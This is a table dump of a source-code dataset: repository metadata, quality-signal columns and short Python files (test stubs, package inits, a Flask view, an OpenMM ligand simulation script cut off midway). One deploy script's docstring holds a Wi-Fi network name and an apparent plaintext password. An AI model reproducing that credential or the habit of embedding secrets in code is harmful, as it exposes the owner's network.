hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e4b7cd42caf9597f6f4293ebb0455cbbb1e71747
| 176
|
py
|
Python
|
test/test_publication.py
|
VTUL/VIVOHarvester
|
bb3e191eed4239f271d38cd41686f5432c61cb5e
|
[
"MIT"
] | null | null | null |
test/test_publication.py
|
VTUL/VIVOHarvester
|
bb3e191eed4239f271d38cd41686f5432c61cb5e
|
[
"MIT"
] | null | null | null |
test/test_publication.py
|
VTUL/VIVOHarvester
|
bb3e191eed4239f271d38cd41686f5432c61cb5e
|
[
"MIT"
] | null | null | null |
from unittest import TestCase
from vivotool.utils.publicationxmltordf import PublicationXml2Rdf
class TestSample(TestCase):
def test_get_publication(self):
pass
| 19.555556
| 65
| 0.795455
| 19
| 176
| 7.263158
| 0.842105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006757
| 0.159091
| 176
| 8
| 66
| 22
| 0.925676
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0.2
| 0.4
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 5
|
e4c9053144cd5c4af133b25128836d4ce8a84a11
| 140
|
py
|
Python
|
optapy-core/src/main/python/types/__init__.py
|
Christopher-Chianelli/optapy
|
9d853ac0b1146e1c9392b9245fb8b03f63e6e4e4
|
[
"Apache-2.0"
] | 85
|
2021-07-26T11:42:51.000Z
|
2022-03-29T14:14:27.000Z
|
optapy-core/src/main/python/types/__init__.py
|
kawael/optapy
|
f8721a57806c1527509716c63ab7c1baec4185af
|
[
"Apache-2.0"
] | 22
|
2021-07-21T21:10:16.000Z
|
2022-03-31T17:49:00.000Z
|
optapy-core/src/main/python/types/__init__.py
|
kawael/optapy
|
f8721a57806c1527509716c63ab7c1baec4185af
|
[
"Apache-2.0"
] | 9
|
2021-07-15T12:07:32.000Z
|
2022-02-09T02:11:55.000Z
|
"""
This module wraps Java types used in OptaPy.
Importing anything from this module automatically
starts the JVM.
"""
from .types import *
| 20
| 49
| 0.764286
| 20
| 140
| 5.35
| 0.8
| 0.186916
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164286
| 140
| 6
| 50
| 23.333333
| 0.91453
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
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| 1
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
5f40ffc70ce5d7911585cbd7fcb8cc0ce6bdcdde
| 138
|
py
|
Python
|
overhave/publication/__init__.py
|
TinkoffCreditSystems/overhave
|
b0ab705ef5c5c5a65fa0b14b173b64fd7310e187
|
[
"Apache-2.0"
] | 33
|
2021-02-01T15:49:37.000Z
|
2021-12-20T00:44:43.000Z
|
overhave/publication/__init__.py
|
TinkoffCreditSystems/overhave
|
b0ab705ef5c5c5a65fa0b14b173b64fd7310e187
|
[
"Apache-2.0"
] | 46
|
2021-02-03T12:56:52.000Z
|
2021-12-19T18:50:27.000Z
|
overhave/publication/__init__.py
|
TinkoffCreditSystems/overhave
|
b0ab705ef5c5c5a65fa0b14b173b64fd7310e187
|
[
"Apache-2.0"
] | 1
|
2021-12-07T09:02:44.000Z
|
2021-12-07T09:02:44.000Z
|
# flake8: noqa
from .abstract_publisher import IVersionPublisher
from .stash import OverhaveStashPublisherSettings, StashVersionPublisher
| 34.5
| 72
| 0.876812
| 12
| 138
| 10
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007937
| 0.086957
| 138
| 3
| 73
| 46
| 0.944444
| 0.086957
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
5fa29c6f373c496c344de1bb9e69664fb3f0994a
| 77
|
py
|
Python
|
formulacli/__init__.py
|
gauravguitarrocks/FormulaCLI
|
cd3ffeaca985df91f2719cf003743cb529a3711d
|
[
"MIT"
] | 1
|
2019-10-29T19:53:07.000Z
|
2019-10-29T19:53:07.000Z
|
formulacli/__init__.py
|
gauravguitarrocks/FormulaCLI
|
cd3ffeaca985df91f2719cf003743cb529a3711d
|
[
"MIT"
] | 5
|
2019-10-03T13:11:03.000Z
|
2021-10-02T12:56:55.000Z
|
formulacli/__init__.py
|
gauravguitarrocks/FormulaCLI
|
cd3ffeaca985df91f2719cf003743cb529a3711d
|
[
"MIT"
] | 2
|
2019-10-03T16:01:45.000Z
|
2019-10-18T17:11:02.000Z
|
"""
formulacli
~~~~~~~~~~
"""
from formulacli.app import FormulaCLI
| 11
| 37
| 0.558442
| 6
| 77
| 7.166667
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.220779
| 77
| 6
| 38
| 12.833333
| 0.716667
| 0.272727
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
5fc37c1ed5da273cabb309b19a6126acd90e3107
| 380
|
py
|
Python
|
16_copyright/flask_stormer/project/server/main/views.py
|
punica-box/tc-shenzhen-box
|
76c3433d50e9669a7c93f847d8a1289515edfce8
|
[
"MIT"
] | 1
|
2018-11-29T03:13:33.000Z
|
2018-11-29T03:13:33.000Z
|
16_copyright/flask_stormer/project/server/main/views.py
|
punica-box/tc-shenzhen-box
|
76c3433d50e9669a7c93f847d8a1289515edfce8
|
[
"MIT"
] | 6
|
2018-11-28T13:22:35.000Z
|
2018-12-03T08:06:48.000Z
|
16_copyright/flask_stormer/project/server/main/views.py
|
punica-box/tc-shenzhen-box
|
76c3433d50e9669a7c93f847d8a1289515edfce8
|
[
"MIT"
] | 8
|
2018-11-28T03:59:20.000Z
|
2018-12-03T06:13:28.000Z
|
from flask import render_template, Blueprint, current_app
main_blueprint = Blueprint('main', __name__,)
@main_blueprint.route('/')
def home():
# raise RuntimeError("33")
# current_app.logger.info(
# "Home response"
# )
return render_template('main/home.html')
@main_blueprint.route("/about")
def about():
return render_template("main/about.html")
| 21.111111
| 57
| 0.689474
| 45
| 380
| 5.555556
| 0.488889
| 0.168
| 0.144
| 0.192
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006309
| 0.165789
| 380
| 17
| 58
| 22.352941
| 0.782334
| 0.186842
| 0
| 0
| 0
| 0
| 0.131579
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.125
| 0.25
| 0.625
| 0.5
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
|
0
| 5
|
396358b87f03f8cf892084e2ec39f506635d7fdf
| 46
|
py
|
Python
|
Lib/pylib/__init__.py
|
cjroehrig/crispyControllers
|
6a56f7a61d66068824f4fd4b3c46d5b95585439d
|
[
"BSD-2-Clause"
] | null | null | null |
Lib/pylib/__init__.py
|
cjroehrig/crispyControllers
|
6a56f7a61d66068824f4fd4b3c46d5b95585439d
|
[
"BSD-2-Clause"
] | null | null | null |
Lib/pylib/__init__.py
|
cjroehrig/crispyControllers
|
6a56f7a61d66068824f4fd4b3c46d5b95585439d
|
[
"BSD-2-Clause"
] | null | null | null |
# This is required to be considered a module.
| 23
| 45
| 0.76087
| 8
| 46
| 4.375
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.195652
| 46
| 1
| 46
| 46
| 0.945946
| 0.934783
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
3972c7a4bdca28e19b4f496bd6d389fa929622ee
| 77
|
py
|
Python
|
relay_modbus_gui/__init__.py
|
gooroopy/R421A08-rs485-8ch-relay-board
|
e60bb55d62a1afd982a49ac645c37a9eabc4c679
|
[
"MIT"
] | 29
|
2018-03-17T00:28:52.000Z
|
2022-03-24T08:49:44.000Z
|
relay_modbus_gui/__init__.py
|
gooroopy/R421A08-rs485-8ch-relay-board
|
e60bb55d62a1afd982a49ac645c37a9eabc4c679
|
[
"MIT"
] | 3
|
2019-12-14T15:21:50.000Z
|
2022-01-18T17:14:51.000Z
|
relay_modbus_gui/__init__.py
|
gooroopy/R421A08-rs485-8ch-relay-board
|
e60bb55d62a1afd982a49ac645c37a9eabc4c679
|
[
"MIT"
] | 19
|
2018-06-18T00:01:37.000Z
|
2022-02-27T07:02:08.000Z
|
from . form_modbus import frmModbus
from . relay_modbus_gui import ModbusGUI
| 25.666667
| 40
| 0.844156
| 11
| 77
| 5.636364
| 0.727273
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12987
| 77
| 2
| 41
| 38.5
| 0.925373
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
397c8f698688731d7ffdaeb80a337e248f96c4b0
| 271
|
py
|
Python
|
sclrecommender/evaluator/rankingEvaluator.py
|
wezteoh/Bandit_Recommendation
|
a326e4d1d082e1a2113fe739bc343fb45b0b8a4a
|
[
"MIT"
] | null | null | null |
sclrecommender/evaluator/rankingEvaluator.py
|
wezteoh/Bandit_Recommendation
|
a326e4d1d082e1a2113fe739bc343fb45b0b8a4a
|
[
"MIT"
] | null | null | null |
sclrecommender/evaluator/rankingEvaluator.py
|
wezteoh/Bandit_Recommendation
|
a326e4d1d082e1a2113fe739bc343fb45b0b8a4a
|
[
"MIT"
] | null | null | null |
from .evaluator import Evaluator
class RankingEvaluator(Evaluator):
def __init__(self, ratingMatrix, rankingMatrix):
Evaluator.__init__(self, ratingMatrix)
self.rankingMatrix = rankingMatrix
def evaluate(self):
raise NotImplementedError
| 27.1
| 52
| 0.738007
| 24
| 271
| 8
| 0.541667
| 0.083333
| 0.208333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.195572
| 271
| 9
| 53
| 30.111111
| 0.880734
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0.142857
| 0
| 0.571429
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
397d9f3e2756ba743491fb4be1dadfddb02cef13
| 541
|
py
|
Python
|
openmc/__init__.py
|
mjlong/openmc
|
0620a368ed1f51f0cc6173c1dda985d203dc4435
|
[
"MIT"
] | null | null | null |
openmc/__init__.py
|
mjlong/openmc
|
0620a368ed1f51f0cc6173c1dda985d203dc4435
|
[
"MIT"
] | null | null | null |
openmc/__init__.py
|
mjlong/openmc
|
0620a368ed1f51f0cc6173c1dda985d203dc4435
|
[
"MIT"
] | null | null | null |
from openmc.element import *
from openmc.geometry import *
from openmc.nuclide import *
from openmc.material import *
from openmc.plots import *
from openmc.settings import *
from openmc.surface import *
from openmc.universe import *
from openmc.mesh import *
from openmc.filter import *
from openmc.trigger import *
from openmc.tallies import *
from openmc.cmfd import *
from openmc.executor import *
from openmc.statepoint import *
from openmc.summary import *
try:
from openmc.opencg_compatible import *
except ImportError:
pass
| 24.590909
| 42
| 0.783734
| 73
| 541
| 5.794521
| 0.342466
| 0.401891
| 0.567376
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149723
| 541
| 21
| 43
| 25.761905
| 0.919565
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.05
| 0.9
| 0
| 0.9
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
399c7558a2e251df34fdc36f96f69b0d503555d4
| 419
|
py
|
Python
|
src/devices/esp32-test03/deploy.py
|
hwinther/lanot
|
f6700cacb3946535081624467b746fdfd38e021d
|
[
"Apache-2.0"
] | null | null | null |
src/devices/esp32-test03/deploy.py
|
hwinther/lanot
|
f6700cacb3946535081624467b746fdfd38e021d
|
[
"Apache-2.0"
] | null | null | null |
src/devices/esp32-test03/deploy.py
|
hwinther/lanot
|
f6700cacb3946535081624467b746fdfd38e021d
|
[
"Apache-2.0"
] | null | null | null |
import prometheus.tftpd
'''
prime the device with:
import network
import machine
gc.collect()
wlan = network.WLAN(network.STA_IF)
wlan.active(True)
wlan.connect('dgn.iot', 'umbFUTyJSvqhxNrQ')
import prometheus.tftpd
prometheus.tftpd.tftpd()
'''
# prometheus.tftpd.tftp_client('10.20.2.135', 'boot.py')
prometheus.tftpd.tftp_client('10.20.2.135', 'main.py')
# prometheus.tftpd.tftp_client('10.20.2.135', 'test03.py')
| 22.052632
| 58
| 0.74463
| 63
| 419
| 4.888889
| 0.47619
| 0.292208
| 0.185065
| 0.243506
| 0.334416
| 0.334416
| 0.334416
| 0.334416
| 0.227273
| 0
| 0
| 0.067358
| 0.078759
| 419
| 18
| 59
| 23.277778
| 0.73057
| 0.264916
| 0
| 0
| 0
| 0
| 0.214286
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
39c2d37e6222b394252b9e6f86cd28be7217ff87
| 113
|
py
|
Python
|
test/test_file_movement.py
|
IainMcl/Inference
|
d1d67e4654ea2ac47afa49865a225fd29be886be
|
[
"MIT"
] | null | null | null |
test/test_file_movement.py
|
IainMcl/Inference
|
d1d67e4654ea2ac47afa49865a225fd29be886be
|
[
"MIT"
] | null | null | null |
test/test_file_movement.py
|
IainMcl/Inference
|
d1d67e4654ea2ac47afa49865a225fd29be886be
|
[
"MIT"
] | null | null | null |
import src.settings
from src.data.loader import Data
def test_data():
print("test here")
assert 1 == 1
| 14.125
| 32
| 0.681416
| 18
| 113
| 4.222222
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022472
| 0.212389
| 113
| 7
| 33
| 16.142857
| 0.831461
| 0
| 0
| 0
| 0
| 0
| 0.080357
| 0
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0.2
| true
| 0
| 0.4
| 0
| 0.6
| 0.2
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
39d144d7ea38f3600a579416743655604225f3eb
| 39
|
py
|
Python
|
tests/__init__.py
|
ashnair1/changedet
|
24afd3f94b722e11095cd3f2729a2aedf1104ab8
|
[
"MIT"
] | null | null | null |
tests/__init__.py
|
ashnair1/changedet
|
24afd3f94b722e11095cd3f2729a2aedf1104ab8
|
[
"MIT"
] | 3
|
2021-12-16T07:46:34.000Z
|
2022-01-13T05:53:23.000Z
|
tests/__init__.py
|
ashnair1/changedet
|
24afd3f94b722e11095cd3f2729a2aedf1104ab8
|
[
"MIT"
] | null | null | null |
"""Unit test package for changedet."""
| 19.5
| 38
| 0.692308
| 5
| 39
| 5.4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128205
| 39
| 1
| 39
| 39
| 0.794118
| 0.820513
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
f2d7583e85a1b727d1eb2bbdc313247c33b0fe89
| 115
|
py
|
Python
|
LongLine.py
|
CODEVELOPER1/PYTHON-FOLDER
|
721870ad96b020fb02177a01fdd04ac730105995
|
[
"MIT"
] | null | null | null |
LongLine.py
|
CODEVELOPER1/PYTHON-FOLDER
|
721870ad96b020fb02177a01fdd04ac730105995
|
[
"MIT"
] | null | null | null |
LongLine.py
|
CODEVELOPER1/PYTHON-FOLDER
|
721870ad96b020fb02177a01fdd04ac730105995
|
[
"MIT"
] | null | null | null |
print("This is a really long line of text that will " +
"appear on multiple lines in the source code file.")
| 38.333333
| 58
| 0.695652
| 20
| 115
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.234783
| 115
| 2
| 59
| 57.5
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0.817391
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
f2d92e6fe58f2102c3fcba0cda6809f781404712
| 43
|
py
|
Python
|
modules/crlibm/doc/pow.py
|
brycelelbach/nt2
|
73d7e8dd390fa4c8d251c6451acdae65def70e0b
|
[
"BSL-1.0"
] | 1
|
2022-03-24T03:35:10.000Z
|
2022-03-24T03:35:10.000Z
|
modules/crlibm/doc/tanh.py
|
brycelelbach/nt2
|
73d7e8dd390fa4c8d251c6451acdae65def70e0b
|
[
"BSL-1.0"
] | null | null | null |
modules/crlibm/doc/tanh.py
|
brycelelbach/nt2
|
73d7e8dd390fa4c8d251c6451acdae65def70e0b
|
[
"BSL-1.0"
] | null | null | null |
[ ## script modified by create_py_doc.py
]
| 14.333333
| 40
| 0.72093
| 7
| 43
| 4.142857
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.162791
| 43
| 2
| 41
| 21.5
| 0.805556
| 0.813953
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
f2f278746d65bf4d234a4a21b5eef36a280b5de3
| 8,077
|
py
|
Python
|
ligand_data/simulate.py
|
yabmtm/position-restraints
|
46981285dfa8755c5e9844b8ea0eba04b6ad3d5c
|
[
"MIT"
] | null | null | null |
ligand_data/simulate.py
|
yabmtm/position-restraints
|
46981285dfa8755c5e9844b8ea0eba04b6ad3d5c
|
[
"MIT"
] | null | null | null |
ligand_data/simulate.py
|
yabmtm/position-restraints
|
46981285dfa8755c5e9844b8ea0eba04b6ad3d5c
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
from openforcefield.topology import Molecule
from openforcefield.typing.engines.smirnoff import ForceField
from simtk import openmm, unit
from simtk.openmm import app
from openmmforcefields.generators import SystemGenerator
import pandas as pd
import parmed
import os, sys, subprocess
water_model = 'tip3p'
solvent_padding = 4.0 * unit.angstrom
box_size = openmm.vec3.Vec3(3.4,3.4,3.4)*unit.nanometers
ionic_strength = 100 * unit.millimolar # 100
pressure = 1.0 * unit.atmospheres
collision_rate = 91.0 / unit.picoseconds
temperature = 300.0 * unit.kelvin
timestep = 4.0 * unit.femtoseconds
nsteps_equil = 1000 # test
protein_forcefield = 'amber14/protein.ff14SB.xml'
small_molecule_forcefield = 'openff-1.1.0'
#small_molecule_forcefield = 'gaff-2.11' # only if you really like atomtypes
solvation_forcefield = 'amber14/tip3p.xml'
dataset = 'test'
#ligand_data = pd.read_pickle(f'ligands.pkl')
openmm_write_cutoff = 0 # only write XML files for first n ligands (bc they big)
def prepare_RL_system():
RL_complex_structure = ligand_structure + receptor_structure
barostat = openmm.MonteCarloBarostat(pressure, temperature)
parmed_forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 5e-04,
'nonbondedMethod': app.PME, 'constraints': False, 'rigidWater': False, 'hydrogenMass': 3.0*unit.amu}
parmed_system_generator = SystemGenerator(forcefields=[protein_forcefield,solvation_forcefield],
barostat=barostat, forcefield_kwargs=parmed_forcefield_kwargs, molecules=[ligand],
small_molecule_forcefield=small_molecule_forcefield, cache=f'{L_output_prefix}/LIG{ligand_ndx}.json')
openmm_forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 5e-04,
'nonbondedMethod': app.PME, 'constraints': True, 'rigidWater': True, 'hydrogenMass': 3.0*unit.amu}
openmm_system_generator = SystemGenerator(forcefields=[protein_forcefield,solvation_forcefield],
barostat=barostat, forcefield_kwargs=openmm_forcefield_kwargs, molecules=[ligand],
small_molecule_forcefield=small_molecule_forcefield, cache=f'{L_output_prefix}/LIG{ligand_ndx}.json')
modeller = app.Modeller(RL_complex_structure.topology, RL_complex_structure.positions)
modeller.addSolvent(openmm_system_generator.forcefield, model='tip3p',
padding=solvent_padding, ionicStrength=ionic_strength) # padding=solvent_padding for RL, boxSize=box_size for L
parmed_system = parmed_system_generator.create_system(modeller.topology)
openmm_system = openmm_system_generator.create_system(modeller.topology)
integrator = openmm.LangevinIntegrator(temperature, collision_rate, timestep)
# minimize and equilibrate
print('Minimizing...')
platform = openmm.Platform.getPlatformByName('CUDA')
platform.setPropertyDefaultValue('Precision', 'mixed')
platform.setPropertyDefaultValue('CudaDeviceIndex', sys.argv[3])
context = openmm.Context(openmm_system, integrator, platform)
context.setPositions(modeller.positions)
openmm.LocalEnergyMinimizer.minimize(context)
print('Equilibrating...')
